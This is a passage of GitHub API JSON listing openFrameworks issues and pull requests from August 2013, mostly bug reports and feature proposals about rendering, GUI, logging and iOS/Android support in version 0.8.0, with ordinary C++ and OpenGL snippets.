479.patch"},"body":"in 'classic' OpenGL 2.0, you could call:\r\n\r\n````glGetFloatv(GL_MODELVIEW_MATRIX, matrixPtr);````\r\n\r\nTo read back the current matrix state from the GPU.\r\n\r\nThis is not possible with modern OpenGL, since the matrix stack is now client-side.\r\n\r\nWith this PR, we get this functionality back into the programmable GL renderer pipeline. Query the current matrix state as in:\r\n\r\n````ofMatrix4x4 currentModelViewMatrix = ofGetGLProgrammableRenderer()->getModelViewMatrix();````\r\n\r\nSince these are read-only methods, they are marked ````const````\r\n\r\nSigned-off-by: tgfrerer "},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/2478","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/2478/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/2478/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/2478/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/2478","id":18150369,"number":2478,"title":"Replacing GLSurfaceView with TextureView","user":{"login":"ikillbombs","id":1842262,"avatar_url":"https://0.gravatar.com/avatar/0e972803504e237e42c9a680885498c8?d=https%3A%2F%2Fidenticons.github.com%2F24e60592283a8e112c32915b7846022d.png","gravatar_id":"0e972803504e237e42c9a680885498c8","url":"https://api.github.com/users/ikillbombs","html_url":"https://github.com/ikillbombs","followers_url":"https://api.github.com/users/ikillbombs/followers","following_url":"https://api.github.com/users/ikillbombs/following{/other_user}","gists_url":"https://api.github.com/users/ikillbombs/gists{/gist_id}","starred_url":"https://api.github.com/users/ikillbombs/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ikillbombs/subscriptions","organizations_url":"https://api.github.com/users/ikillbombs/orgs","repos_url":"https://api.github.com/users/ikillbombs/repos","events_url":"https://api.github.com/users/ikillbombs/events{/privacy}","received_events_url":"https://api.github.com/users/ikillbombs/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/addon","name":"addon","color":"d68e22"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/development-strategy","name":"development-strategy","color":"37c200"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/android","name":"android","color":"2bc4ad"}],"state":"open","assignee":null,"milestone":null,"comments":2,"created_at":"2013-08-16T10:30:22Z","updated_at":"2013-08-20T09:48:45Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"Hi everyone,\r\n\r\nI was wondering if it's a good idea to replace Android GLSurfaceView with GLTextureView. The advantages of replacing this is that multiple views can be combined. after this modification we can create a mapKit for Android and combine it with a native GUI.\r\n\r\nHere's an example link:\r\nhttps://github.com/eaglesakura/gltextureview/tree/issue/1/master"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/2477","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/2477/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/2477/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/2477/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/2477","id":18146713,"number":2477,"title":"ofxgui setUseTTF bug! (of0.8.0)","user":{"login":"yty","id":841770,"avatar_url":"https://0.gravatar.com/avatar/a8010f501bbf6646afd69a8c3afc773a?d=https%3A%2F%2Fidenticons.github.com%2Ffd07b54170df1ee5062afa89905d7511.png","gravatar_id":"a8010f501bbf6646afd69a8c3afc773a","url":"https://api.github.com/users/yty","html_url":"https://github.com/yty","followers_url":"https://api.github.com/users/yty/followers","following_url":"https://api.github.com/users/yty/following{/other_user}","gists_url":"https://api.github.com/users/yty/gists{/gist_id}","starred_url":"https://api.github.com/users/yty/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/yty/subscriptions","organizations_url":"https://api.github.com/users/yty/orgs","repos_url":"https://api.github.com/users/yty/repos","events_url":"https://api.github.com/users/yty/events{/privacy}","received_events_url":"https://api.github.com/users/yty/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/addon","name":"addon","color":"d68e22"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"}],"state":"open","assignee":null,"milestone":null,"comments":2,"created_at":"2013-08-16T08:38:14Z","updated_at":"2013-08-20T09:19:09Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"...\r\ngui.add(twoCircles.setup(\"two circles\"));\r\ngui.add(ringButton.setup(\"ring\"));\r\ngui.add(screenSize.setup(\"screen size\", \"\"));\r\nguiExample =>gui.setUseTTF(true);\r\n...\r\n\r\nText display error....\r\n\r\n![guibug](https://f.cloud.github.com/assets/841770/974290/01366e98-064f-11e3-8e69-146ec8c3a74f.jpg)"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/2476","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/2476/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/2476/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/2476/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/2476","id":18144117,"number":2476,"title":"parameterGroupExample error! (of0.8.0)","user":{"login":"yty","id":841770,"avatar_url":"https://0.gravatar.com/avatar/a8010f501bbf6646afd69a8c3afc773a?d=https%3A%2F%2Fidenticons.github.com%2Ffd07b54170df1ee5062afa89905d7511.png","gravatar_id":"a8010f501bbf6646afd69a8c3afc773a","url":"https://api.github.com/users/yty","html_url":"https://github.com/yty","followers_url":"https://api.github.com/users/yty/followers","following_url":"https://api.github.com/users/yty/following{/other_user}","gists_url":"https://api.github.com/users/yty/gists{/gist_id}","starred_url":"https://api.github.com/users/yty/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/yty/subscriptions","organizations_url":"https://api.github.com/users/yty/orgs","repos_url":"https://api.github.com/users/yty/repos","events_url":"https://api.github.com/users/yty/events{/privacy}","received_events_url":"https://api.github.com/users/yty/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/addon","name":"addon","color":"d68e22"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-internals","name":"section-internals","color":"DDDDDD"}],"state":"open","assignee":null,"milestone":{"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/13","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/13/labels","id":375917,"number":13,"title":"0.8.1","description":"","creator":{"login":"bilderbuchi","id":327442,"avatar_url":"https://2.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https%3A%2F%2Fidenticons.github.com%2Ffdc2f086849a4bfc788364d9226a1e1e.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","url":"https://api.github.com/users/bilderbuchi","html_url":"https://github.com/bilderbuchi","followers_url":"https://api.github.com/users/bilderbuchi/followers","following_url":"https://api.github.com/users/bilderbuchi/following{/other_user}","gists_url":"https://api.github.com/users/bilderbuchi/gists{/gist_id}","starred_url":"https://api.github.com/users/bilderbuchi/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bilderbuchi/subscriptions","organizations_url":"https://api.github.com/users/bilderbuchi/orgs","repos_url":"https://api.github.com/users/bilderbuchi/repos","events_url":"https://api.github.com/users/bilderbuchi/events{/privacy}","received_events_url":"https://api.github.com/users/bilderbuchi/received_events","type":"User"},"open_issues":34,"closed_issues":9,"state":"open","created_at":"2013-07-11T13:25:32Z","updated_at":"2013-08-21T08:18:48Z","due_on":"2013-09-08T07:00:00Z"},"comments":6,"created_at":"2013-08-16T07:07:57Z","updated_at":"2013-08-20T09:25:21Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"E:\\Program Files\\of_v0.8.0_vs_release\\examples\\gui\\parameterGroupExample\r\nvs2012+win7...\r\n\r\nofxGuiGroup.cpp\r\n\r\n 77 line \tofLogError() << \"ofxBaseGroup; can't add control of type \" << type;\r\n\r\n[ error ] ofxBaseGroup; can't add control of type class ofReadOnlyParameter\r\n[ error ] ofxBaseGroup; can't add control of type class ofReadOnlyParameter\r\n[ error ] ofXml: loadFromBuffer(): DOM ERROR\r\n[warning] ofXml: setTo(): empty document\r\n"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/2475","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/2475/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/2475/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/2475/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/2475","id":18143895,"number":2475,"title":"0.8.0 Light and Material problem","user":{"login":"Geistyp","id":1510109,"avatar_url":"https://2.gravatar.com/avatar/6b42478d52d104580a1ae20f973975c2?d=https%3A%2F%2Fidenticons.github.com%2F45d69e69ac304ad6dc2269ebba53ba69.png","gravatar_id":"6b42478d52d104580a1ae20f973975c2","url":"https://api.github.com/users/Geistyp","html_url":"https://github.com/Geistyp","followers_url":"https://api.github.com/users/Geistyp/followers","following_url":"https://api.github.com/users/Geistyp/following{/other_user}","gists_url":"https://api.github.com/users/Geistyp/gists{/gist_id}","starred_url":"https://api.github.com/users/Geistyp/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/Geistyp/subscriptions","organizations_url":"https://api.github.com/users/Geistyp/orgs","repos_url":"https://api.github.com/users/Geistyp/repos","events_url":"https://api.github.com/users/Geistyp/events{/privacy}","received_events_url":"https://api.github.com/users/Geistyp/received_events","type":"User"},"labels":[],"state":"open","assignee":null,"milestone":null,"comments":14,"created_at":"2013-08-16T06:58:32Z","updated_at":"2013-08-20T11:21:00Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"http://imgur.com/GiiGBx3\r\nLeft is 0.7.4 , right is 0.8.0.\r\n\r\nsame code\r\n```c++\r\nfloat no_mat[] = {0.0f, 0.0f, 0.0f, 1.0f};\r\nfloat mat_ambient[] = {0.0215, 0.1745, 0.0215, 1.0};\r\nfloat mat_diffuse[] = {0.07568, 0.61424, 0.07568, 1.0};\r\nfloat mat_specular[] = {0.633, 0.727811, 0.633, 1.0};\r\nfloat low_shininess = 15.0f;\r\n\r\n//light properties\r\nfloat ambient[] = {0.5f, 0.5f, 0.5f, 1.0f};\r\nfloat diffuse[] = {1.0f, 1.0f, 1.0f, 1.0f};\r\nfloat specular[] = {1.0f, 1.0f, 1.0f, 1.0f};\r\nfloat position[] = {100.0f, 100.0f, 100.0f, 0.0f};\r\n\r\nvoid ofApp::setup(){\r\n\r\n\tglLightfv(GL_LIGHT0, GL_AMBIENT, ambient);\r\n\tglLightfv(GL_LIGHT0, GL_DIFFUSE, diffuse);\r\n\tglLightfv(GL_LIGHT0, GL_POSITION, position);\r\n\r\n\tglEnable(GL_LIGHT0);\r\n\tglEnable(GL_LIGHTING);\r\n\r\n\tglEnable(GL_DEPTH_TEST);\r\n\tglShadeModel(GL_SMOOTH); \r\n}\r\n\r\nvoid ofApp::draw(){\r\n\r\n\tcam.begin();\r\n\r\n\tofPushMatrix();\r\n\tofTranslate(0, 0);\r\n\r\n\tglMaterialfv(GL_FRONT, GL_AMBIENT, mat_ambient);\r\n\tglMaterialfv(GL_FRONT, GL_DIFFUSE, mat_diffuse);\r\n\tglMaterialfv(GL_FRONT, GL_SPECULAR, mat_specular);\r\n\tglMaterialf(GL_FRONT, GL_SHININESS, low_shininess);\r\n\tglMaterialfv(GL_FRONT, GL_EMISSION, no_mat);\r\n\tofSphere(0, 0, 50);\r\n\r\n\tofPopMatrix();\r\n\r\n\r\n\tcam.end();\r\n}\r\n```\r\n\r\nofMaterial not work? I try to load a model with material, material data loaded, but show nothing.\r\nhttp://imgur.com/yMZda6w\r\n\r\n```c++\r\nofxAssimpModelLoader loader;\r\nofxAssimpMeshHelper mesh;\r\n\r\nofLight light;\r\n\r\nvoid ofApp::setup(){\r\n\r\n\tofDisableArbTex(); \r\n\tloader.loadModel(\"mini.dae\");\r\n\r\n\tofEnableSeparateSpecularLight();\r\n\tofEnableDepthTest();\r\n\tglShadeModel(GL_SMOOTH); \r\n\t\r\n\tlight.enable();\r\n\t\r\n\tmesh= loader.getMeshHelper(0);\r\n}\r\n\r\nvoid ofApp::draw(){\r\n\r\n \tcam.begin();\r\n\tofPushMatrix();\r\n\tofTranslate(0, 0);\r\n\r\n\t//loader.draw(OF_MESH_FILL);\r\n\r\n // (mesh.material).diffuse = {r=0.752941191 g=0.517647088 b=0.372548997 a=1.000000}\r\n // (mesh.material).ambient = {r=0.100000001 g=0.100000001 b=0.100000001 a=1.000000}\r\n // (mesh.material).specular = {r=0.400000006 g=0.400000006 b=0.400000006 a=1.000000}\r\n // (mesh.material).emissive = {r=0.000000000 g=0.000000000 b=0.000000000 a=1.000000}\r\n // (mesh.material).shininess = 10.000000\r\n\tmesh.material.begin();\r\n\tofSphere(0, 0, 50);\r\n\tmesh.material.end();\r\n\r\n\tofPopMatrix();\r\n\tcam.end();\r\n}\r\n```"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/2473","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/2473/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/2473/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/2473/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/2473","id":18116496,"number":2473,"title":"Fixed bug in ofCairoRenderer where moveTo commands are interpreted wrong","user":{"login":"bgstaal","id":165258,"avatar_url":"https://0.gravatar.com/avatar/4fcf8b28dcc18014970d4930d0a00e72?d=https%3A%2F%2Fidenticons.github.com%2Fc78b173dd2f89f95c1414e53b78123fe.png","gravatar_id":"4fcf8b28dcc18014970d4930d0a00e72","url":"https://api.github.com/users/bgstaal","html_url":"https://github.com/bgstaal","followers_url":"https://api.github.com/users/bgstaal/followers","following_url":"https://api.github.com/users/bgstaal/following{/other_user}","gists_url":"https://api.github.com/users/bgstaal/gists{/gist_id}","starred_url":"https://api.github.com/users/bgstaal/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bgstaal/subscriptions","organizations_url":"https://api.github.com/users/bgstaal/orgs","repos_url":"https://api.github.com/users/bgstaal/repos","events_url":"https://api.github.com/users/bgstaal/events{/privacy}","received_events_url":"https://api.github.com/users/bgstaal/received_events","type":"User"},"labels":[],"state":"open","assignee":null,"milestone":null,"comments":0,"created_at":"2013-08-15T17:35:55Z","updated_at":"2013-08-15T17:36:34Z","closed_at":null,"pull_request":{"html_url":"https://github.com/openframeworks/openFrameworks/pull/2473","diff_url":"https://github.com/openframeworks/openFrameworks/pull/2473.diff","patch_url":"https://github.com/openframeworks/openFrameworks/pull/2473.patch"},"body":"This results in cairo sub paths not starting from the supplied point of the moveTo command. Adding one lien of code fixes this."},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/2472","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/2472/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/2472/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/2472/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/2472","id":18107084,"number":2472,"title":"Break Points at Setup (of0.8.0)","user":{"login":"Vamoss","id":245841,"avatar_url":"https://0.gravatar.com/avatar/80c722474d39c07271917a466f4e26dd?d=https%3A%2F%2Fidenticons.github.com%2F406e8d2580cf39474c77a170d51800e3.png","gravatar_id":"80c722474d39c07271917a466f4e26dd","url":"https://api.github.com/users/Vamoss","html_url":"https://github.com/Vamoss","followers_url":"https://api.github.com/users/Vamoss/followers","following_url":"https://api.github.com/users/Vamoss/following{/other_user}","gists_url":"https://api.github.com/users/Vamoss/gists{/gist_id}","starred_url":"https://api.github.com/users/Vamoss/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/Vamoss/subscriptions","organizations_url":"https://api.github.com/users/Vamoss/orgs","repos_url":"https://api.github.com/users/Vamoss/repos","events_url":"https://api.github.com/users/Vamoss/events{/privacy}","received_events_url":"https://api.github.com/users/Vamoss/received_events","type":"User"},"labels":[],"state":"open","assignee":null,"milestone":null,"comments":1,"created_at":"2013-08-15T14:05:20Z","updated_at":"2013-08-15T15:14:28Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"Hi,\r\n\r\nI dont know exactly what is happening, but the setup accuses a break point in two cases, one at ofLogToFile(\"myFile.log\", true);\r\n\r\nAnd another in the end of testApp::setup(){}.\r\nIn this case the stack is not readable, but in the ofLogToFile Call Stack is:\r\nmsvcr110d.dll!_unlock(int locknum) Line 366\tC\r\nmsvcr110d.dll!operator delete(void * pUserData) Line 57\tC++\r\nmsvcr110d.dll!operator delete(void * pUserData) Line 56\tC++\r\n 03a31748()\tUnknown\r\nmsvcr110d.dll!_heap_alloc_base(unsigned int size) Line 57\tC\r\nmsvcr110d.dll!_heap_alloc_dbg_impl(unsigned int nSize, int nBlockUse, const char * szFileName, int nLine, int * errno_tmp) Line 431\tC++\r\nmsvcr110d.dll!_nh_malloc_dbg_impl(unsigned int nSize, int nhFlag, int nBlockUse, const char * szFileName, int nLine, int * errno_tmp) Line 239\tC++\r\nmsvcr110d.dll!_nh_malloc_dbg(unsigned int nSize, int nhFlag, int nBlockUse, const char * szFileName, int nLine) Line 302\tC++\r\nmsvcr110d.dll!malloc(unsigned int nSize) Line 56\tC++\r\nmsvcr110d.dll!operator new(unsigned int size) Line 59\tC++\r\nRender_debug.exe!std::_Allocate(unsigned int _Count, std::_Container_proxy * __formal) Line 28\tC++\r\nRender_debug.exe!std::allocator::allocate(unsigned int _Count) Line 591\tC++\r\nRender_debug.exe!std::_String_alloc<0,std::_String_base_types > >::_Alloc_proxy() Line 671\tC++ \tRender_debug.exe!std::_String_alloc<0,std::_String_base_types > >::_String_alloc<0,std::_String_base_types > >(const std::allocator & __formal) Line 651\tC++\r\nRender_debug.exe!std::basic_string,std::allocator >::basic_string,std::allocator >() Line 749\tC++\r\nRender_debug.exe!Poco::FileImpl::FileImpl(void)\tUnknown\r\nRender_debug.exe!Poco::File::File(void)\tUnknown\r\nRender_debug.exe!ofFile::ofFile() Line 260\tC++\r\nRender_debug.exe!ofFileLoggerChannel::ofFileLoggerChannel(const std::basic_string,std::allocator > & path, bool append) Line 288\tC++\r\nRender_debug.exe!ofLogToFile(const std::basic_string,std::allocator > & path, bool append) Line 41\tC++\r\nRender_debug.exe!SuperLog::setup(std::basic_string,std::allocator > filename) Line 17\tC++\r\nRender_debug.exe!testApp::setup() Line 14\tC++\r\nRender_debug.exe!ofBaseApp::setup(ofEventArgs & args) Line 41\tC++\r\nRender_debug.exe!Poco::PriorityDelegate::notify(const void * sender, ofEventArgs & arguments) Line 168\tC++\r\nRender_debug.exe!Poco::PriorityStrategy >::notify(const void * sender, ofEventArgs & arguments) Line 81\tC++\r\nRender_debug.exe!Poco::AbstractEvent >,Poco::AbstractPriorityDelegate,Poco::FastMutex>::notify(const void * pSender, ofEventArgs & args) Line 242\tC++\r\nRender_debug.exe!ofNotifyEvent,ofEventArgs>(ofEvent & event, ofEventArgs & args) Line 172\tC++\r\nRender_debug.exe!ofNotifySetup() Line 120\tC++\r\n\r\nI am at a Windows 7, Visual Studio 2012 Express with OpenFrameworks 0.8.0.\r\n\r\nThanks,\r\nCarlos"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/2469","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/2469/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/2469/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/2469/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/2469","id":18048273,"number":2469,"title":"enums and #defines for ofxiOS have weird case and don't deprecate old enums","user":{"login":"ofTheo","id":144000,"avatar_url":"https://0.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https%3A%2F%2Fidenticons.github.com%2F4927fe2904a479337f27af83d0ab970f.png","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","url":"https://api.github.com/users/ofTheo","html_url":"https://github.com/ofTheo","followers_url":"https://api.github.com/users/ofTheo/followers","following_url":"https://api.github.com/users/ofTheo/following{/other_user}","gists_url":"https://api.github.com/users/ofTheo/gists{/gist_id}","starred_url":"https://api.github.com/users/ofTheo/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ofTheo/subscriptions","organizations_url":"https://api.github.com/users/ofTheo/orgs","repos_url":"https://api.github.com/users/ofTheo/repos","events_url":"https://api.github.com/users/ofTheo/events{/privacy}","received_events_url":"https://api.github.com/users/ofTheo/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/iOS","name":"iOS","color":"2babad"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-internals","name":"section-internals","color":"DDDDDD"}],"state":"open","assignee":{"login":"ofTheo","id":144000,"avatar_url":"https://0.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https%3A%2F%2Fidenticons.github.com%2F4927fe2904a479337f27af83d0ab970f.png","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","url":"https://api.github.com/users/ofTheo","html_url":"https://github.com/ofTheo","followers_url":"https://api.github.com/users/ofTheo/followers","following_url":"https://api.github.com/users/ofTheo/following{/other_user}","gists_url":"https://api.github.com/users/ofTheo/gists{/gist_id}","starred_url":"https://api.github.com/users/ofTheo/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ofTheo/subscriptions","organizations_url":"https://api.github.com/users/ofTheo/orgs","repos_url":"https://api.github.com/users/ofTheo/repos","events_url":"https://api.github.com/users/ofTheo/events{/privacy}","received_events_url":"https://api.github.com/users/ofTheo/received_events","type":"User"},"milestone":{"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/13","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/13/labels","id":375917,"number":13,"title":"0.8.1","description":"","creator":{"login":"bilderbuchi","id":327442,"avatar_url":"https://2.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https%3A%2F%2Fidenticons.github.com%2Ffdc2f086849a4bfc788364d9226a1e1e.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","url":"https://api.github.com/users/bilderbuchi","html_url":"https://github.com/bilderbuchi","followers_url":"https://api.github.com/users/bilderbuchi/followers","following_url":"https://api.github.com/users/bilderbuchi/following{/other_user}","gists_url":"https://api.github.com/users/bilderbuchi/gists{/gist_id}","starred_url":"https://api.github.com/users/bilderbuchi/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bilderbuchi/subscriptions","organizations_url":"https://api.github.com/users/bilderbuchi/orgs","repos_url":"https://api.github.com/users/bilderbuchi/repos","events_url":"https://api.github.com/users/bilderbuchi/events{/privacy}","received_events_url":"https://api.github.com/users/bilderbuchi/received_events","type":"User"},"open_issues":34,"closed_issues":9,"state":"open","created_at":"2013-07-11T13:25:32Z","updated_at":"2013-08-21T08:18:48Z","due_on":"2013-09-08T07:00:00Z"},"comments":3,"created_at":"2013-08-14T11:58:58Z","updated_at":"2013-08-20T12:43:20Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"ie:\r\n\r\n```\r\n#define ofxiOS_DEVICE_IPHONE_2G\t\t\"iPhone1,1\"\r\n#define ofxiOS_DEVICE_IPHONE_3G\t\t\"iPhone1,2\"\r\n#define ofxiOS_DEVICE_IPHONE_3GS\t\"iPhone2,1\"\r\n#define ofxiOS_DEVICE_IPHONE_4\t\t\"iPhone3,1\"\r\n\r\n#define ofxiOS_DEVICE_IPOD_1STGEN\t\"iPod1,1\"\r\n#define ofxiOS_DEVICE_IPOD_2NDGEN\t\"iPod2,1\"\r\n#define ofxiOS_DEVICE_IPOD_3RDGEN\t\"iPod3,1\"\r\n#define ofxiOS_DEVICE_IPOD_4THGEN\t\"iPod4,1\"\r\n```\r\n\r\naccording to the old approach it should be: \r\n\r\n```\r\n#define OFXIOS_DEVICE_IPHONE_2G\t\"iPhone1,1\"\r\n#define OFXIOS_DEVICE_IPHONE_3G\t\"iPhone1,2\"\r\n#define OFXIOS_DEVICE_IPHONE_3GS\t\"iPhone2,1\"\r\n#define OFXIOS_DEVICE_IPHONE_4\t\t\"iPhone3,1\"\r\n\r\n#define OFXIOS_DEVICE_IPOD_1STGEN\t\"iPod1,1\"\r\n#define OFXIOS_DEVICE_IPOD_2NDGEN\t\"iPod2,1\"\r\n#define OFXIOS_DEVICE_IPOD_3RDGEN\t\"iPod3,1\"\r\n#define OFXIOS_DEVICE_IPOD_4THGEN\t\"iPod4,1\"\r\n```\r\n\r\nwith #define for old ofxiPhone names:\r\n\r\nie: \r\n`#define OFXIPHONE_DEVICE_IPHONE_2G OFXIOS_DEVICE_IPHONE_2G`\r\n\r\nI wonder if we should change \r\nofxiOS_ -> OFXIOS \r\n\r\nwe would then need to do two levels of #defines one for the 0.8.0 release and one for pre 0.8.0 \r\n\r\nie: \r\n\r\n`#define OFXIPHONE_DEVICE_IPHONE_2G OFXIOS_DEVICE_IPHONE_2G`\r\n`#define ofxiOS_DEVICE_IPHONE_2G OFXIOS_DEVICE_IPHONE_2G`\r\n\r\nNote: there are more examples of these #defines and enums, I'm just using this set as an example. \r\n\r\n\r\nALSO fix this: OFXIPHONE_MAPKIT_HYRBID -> OFXIPHONE_MAPKIT_HYBRID\r\n"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/2468","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/2468/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/2468/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/2468/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/2468","id":18046461,"number":2468,"title":"ofAppGLFWWindow Verbose Messages","user":{"login":"kamend","id":462951,"avatar_url":"https://0.gravatar.com/avatar/1b0002ee319a421a56ef94c199382fb7?d=https%3A%2F%2Fidenticons.github.com%2F855526feec5d5e0ffaf4ea2115979d44.png","gravatar_id":"1b0002ee319a421a56ef94c199382fb7","url":"https://api.github.com/users/kamend","html_url":"https://github.com/kamend","followers_url":"https://api.github.com/users/kamend/followers","following_url":"https://api.github.com/users/kamend/following{/other_user}","gists_url":"https://api.github.com/users/kamend/gists{/gist_id}","starred_url":"https://api.github.com/users/kamend/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/kamend/subscriptions","organizations_url":"https://api.github.com/users/kamend/orgs","repos_url":"https://api.github.com/users/kamend/repos","events_url":"https://api.github.com/users/kamend/events{/privacy}","received_events_url":"https://api.github.com/users/kamend/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bitesize","name":"bitesize","color":"65a300"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-internals","name":"section-internals","color":"DDDDDD"}],"state":"open","assignee":null,"milestone":null,"comments":2,"created_at":"2013-08-14T11:08:04Z","updated_at":"2013-08-20T09:15:05Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"Hey guys,\r\nI am playing around with OF 0.8 and I noticed that ofAppGLFWWindow has some verbose messages, when pressing mouse buttons and keys, is this intentional or you just forgot to remove the messages?\r\n\r\n[verbose] ofAppGLFWWindow: mouse button: 0\r\n[verbose] ofAppGLFWWindow: mouse button: 0\r\n[verbose] ofAppGLFWWindow: mouse button: 0\r\n[verbose] ofAppGLFWWindow: mouse button: 0\r\n[verbose] ofAppGLFWWindow: key: 343 state: 1\r\n[verbose] ofAppGLFWWindow: key: 343 state: 0\r\n[verbose] ofAppGLFWWindow: key: 343 state: 1\r\n\r\nGreat work btw!"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/2464","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/2464/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/2464/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/2464/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/2464","id":18038636,"number":2464,"title":"Can I use ofGstVideoPlayer in Windows? (of0.8.0)","user":{"login":"yty","id":841770,"avatar_url":"https://0.gravatar.com/avatar/a8010f501bbf6646afd69a8c3afc773a?d=https%3A%2F%2Fidenticons.github.com%2Ffd07b54170df1ee5062afa89905d7511.png","gravatar_id":"a8010f501bbf6646afd69a8c3afc773a","url":"https://api.github.com/users/yty","html_url":"https://github.com/yty","followers_url":"https://api.github.com/users/yty/followers","following_url":"https://api.github.com/users/yty/following{/other_user}","gists_url":"https://api.github.com/users/yty/gists{/gist_id}","starred_url":"https://api.github.com/users/yty/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/yty/subscriptions","organizations_url":"https://api.github.com/users/yty/orgs","repos_url":"https://api.github.com/users/yty/repos","events_url":"https://api.github.com/users/yty/events{/privacy}","received_events_url":"https://api.github.com/users/yty/received_events","type":"User"},"labels":[],"state":"open","assignee":null,"milestone":null,"comments":2,"created_at":"2013-08-14T07:28:45Z","updated_at":"2013-08-17T03:57:32Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"Because ofQuickTimePlayer only play *.mov, would like to use 